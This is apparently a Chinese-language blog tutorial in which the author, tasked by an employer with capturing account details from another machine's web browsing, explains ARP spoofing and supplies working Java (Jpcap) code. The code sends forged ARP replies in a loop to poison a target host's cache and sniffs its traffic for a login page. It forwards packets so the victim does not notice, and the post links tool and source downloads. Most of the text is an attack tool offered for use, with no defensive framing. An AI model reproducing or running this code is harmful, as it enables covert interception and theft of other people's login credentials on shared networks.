起因:
公司安排的任務寫一個java代碼 可以實現獲取打開網頁的賬號信息
思路:
如果是正常情況是應該通過電腦網卡預先設置或分配的IP+網關對路由器進行通訊,比如訪問同城配送后台系統:
A主機(指定網關) >> 路由器 >> DNS(域名轉IP) >> 服務端(后台管理)
我理解要實現的就是在, "A主機” 請求"路由器"的時間進行數據包的攔截,並轉發至真正的路由器(轉發是因為要讓A正常使用網頁 不轉發的現象是沒有反應 這樣子攔截可能被專業人士懷疑並發現) ,這個時候A主機的請求數據就被我們獲取下來了。
疑問:
要達到上文所訴目的,需要解決以下三個疑問
1) A主機是如何跟路由器進行通訊(原理)
2) 我該如何攔截
3) 如何利用代碼或工具實現攔截
問題1:
解析:A主機發送數據包肯定需要跟路由器進行交互,那么路由器的地址就一定存儲在A主機的某處地方。這就需要利用到網絡協議的ARP(<這是地址)協議(詳情請打開查看ARP原理)。
打開命令行窗口,輸入arp -a 查看緩存地址列表,可以看到的是路由器的IP地址跟MAC地址
答案:A主機發送數據包>>尋找路由器地址>>封裝數據包>>路由器
問題2:
解析:通過問題1我們已經得知A主機是如何跟路由器進行數據包的通信的了。(廣播式獲取路由器IP地址及MAC,然后存儲在ARP緩存列表。廣播式就是整個頻段下都可以看到,例如192.168.1.45),那我們需要做的就是主動發送一個廣播給A主機,告訴它我們才是路由器。你需要發送數據包到我這里。看下圖(20:f4:1b:70:8:2e 這個是我偽裝的MAC地址),這樣A主機發送的數據包就到我們的機器里了。同時我們還需網絡轉發,不然A主機不能正常上網。
答案:A主機發送數據包>>偽裝路由器主機>>尋找路由器地址>>封裝數據包>>路由器
問題3:
解析:Java有對ARP協議支持的JAR包Jpcap。
答案:Java利用Jpcap編寫arp攔截。
通過三個問題我們收獲了ARP原理,及Java如何實現數據包攔截(Jpcap.jar+Jpcap.dll)
以上為整體思路,下面就是具體代碼實現 及操作步驟。
開發環境:
編輯器:intellij idea 2017
JDK:1.7 (之前是1.8 當時因為一直報錯 所以換成了1.7 最后發現不是因為jdk版本報錯 所以jdk1.8到底行不行 自己去實踐吧)
jar:Jpcap.jar (需要導入你的項目使用)
支持庫:Jpcap.dll 需要放在C:\Program Files\Java\jdk1.7.0_80\bin (這里是我的jdk路徑,實際要根據自己的安裝路徑和系統環境變量統一)
必要條件:安裝 winpcap (必須安裝)
下載地址:
1.jdk1.7網上或者在我工具下載里面有分享
2.jpcap.jar 和Jpcap.dll xx
鏈接:https://pan.baidu.com/s/1xgUt2NazuIplPtT6ezGVSQ
提取碼:plhc
3.winpcap下載地址
鏈接:https://pan.baidu.com/s/1oHtEuUEEyV0zqZQMDKs65A
提取碼:dksc
配置參數單獨一個class文件:
public class Constants { public static String DE_IP = "192.168.0.45"; public static String DE_MAC = "ac-bc-32-93-97-6d"; public static String SRC_IP = "192.168.0.1";// public static String SRC_MAC = "20-F4-1B-80-08-2E"; public static int NET_WORK = 0; public static int TIME = 2; }
網卡工具類:
public class NetWorkUtil {
public static NetworkInterface getDevice(String segment)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
for (int i =0;i<devices.length;i++)
{
NetworkInterfaceAddress[] addresses = devices[i].addresses;
if(addresses[1].address.toString().startsWith(segment)){//判斷IP相同的開始部分相同即可
return devices[i];
}
}
return devices[0];
}
public static NetworkInterface getDevice(int network)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterfaceAddress[] addresses = devices[network].addresses;
NetworkInterface device = devices[network];
return device;
}
}
數據包攔截類文件:
import jpcap.*; import jpcap.packet.Packet; import util.NetWorkUtil; import java.io.IOException; import java.io.UnsupportedEncodingException; public class NetWorkIntercept { /* 攔截網卡數據包 */ public static void main(String[] args) throws Exception { //獲取同網段網卡 NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK); //打開網卡 JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20); while (true) { //獲取流量包,這個時間arp欺詐成功后,該主機的流量包就會通過你的主機網卡發送。 Packet p = captor.getPacket(); if(p!=null) { byte header_byte[] = p.data; String header = new String(header_byte,"ISO-8859-1"); if(header.contains("http://10.40.0.55:8081/web/showLogin")) //只攔截符合條件的
{ System.out.println(header); JpcapSender sender = captor.getJpcapSenderInstance();//獲取 sender.sendPacket(p);//數據包發送 } } } } }
ARP 對指定主機的攔截
import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; import java.net.InetAddress; import java.net.UnknownHostException; public class ArpTest { public static void main(String[] args) throws Exception { sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME); } /** * 為什么需要IP地址跟MAC地址呢?因為我們需要去對他進行ARP協議的欺騙。 * @param deip A主機地址(被欺騙的目標IP地址 * @param deMac A主機MAC地址(被欺騙的目標目標MAC數組 * @param srcIp 被替換Mac地址的IP地址 * @param srcMac 假的MAC數組,也就是我們用來捕捉數據包的主機MAC地址。 * @param network 發送arp的網卡,與被欺騙目標地址需要在同一網段 * @param time ARP重發間隔時間,不斷發送防止被路由器地址替換 * @throws Exception */ static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception { InetAddress desip = InetAddress.getByName(deip); byte[] desmac = stomac(deMac); InetAddress srcip = InetAddress.getByName(srcIp); byte[] srcmac = stomac(srcMac); // 枚舉網卡並打開設備 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); NetworkInterface device = devices[network]; JpcapSender sender = JpcapSender.openDevice(device); // 設置ARP包 ARPPacket arp = new ARPPacket(); arp.hardtype = ARPPacket.HARDTYPE_ETHER; arp.prototype = ARPPacket.PROTOTYPE_IP; arp.operation = ARPPacket.ARP_REPLY; arp.hlen = 6; arp.plen = 4; arp.sender_hardaddr = srcmac; arp.sender_protoaddr = srcip.getAddress(); arp.target_hardaddr = desmac; arp.target_protoaddr = desip.getAddress(); // 設置DLC幀 EthernetPacket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; ether.src_mac = srcmac; ether.dst_mac = desmac; arp.datalink = ether; // 發送ARP應答包 while (true) { System.out.println("send arp > "+deip); sender.sendPacket(arp); Thread.sleep(time * 1000); } } static byte[] stomac(String s) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = s.split("-"); for (int x = 0; x < s1.length; x++) { mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } return mac; } }
源碼下載:
鏈接:https://pan.baidu.com/s/1Vbv2RAovHs1JEYYh-iD1Kg
提取碼:1xn0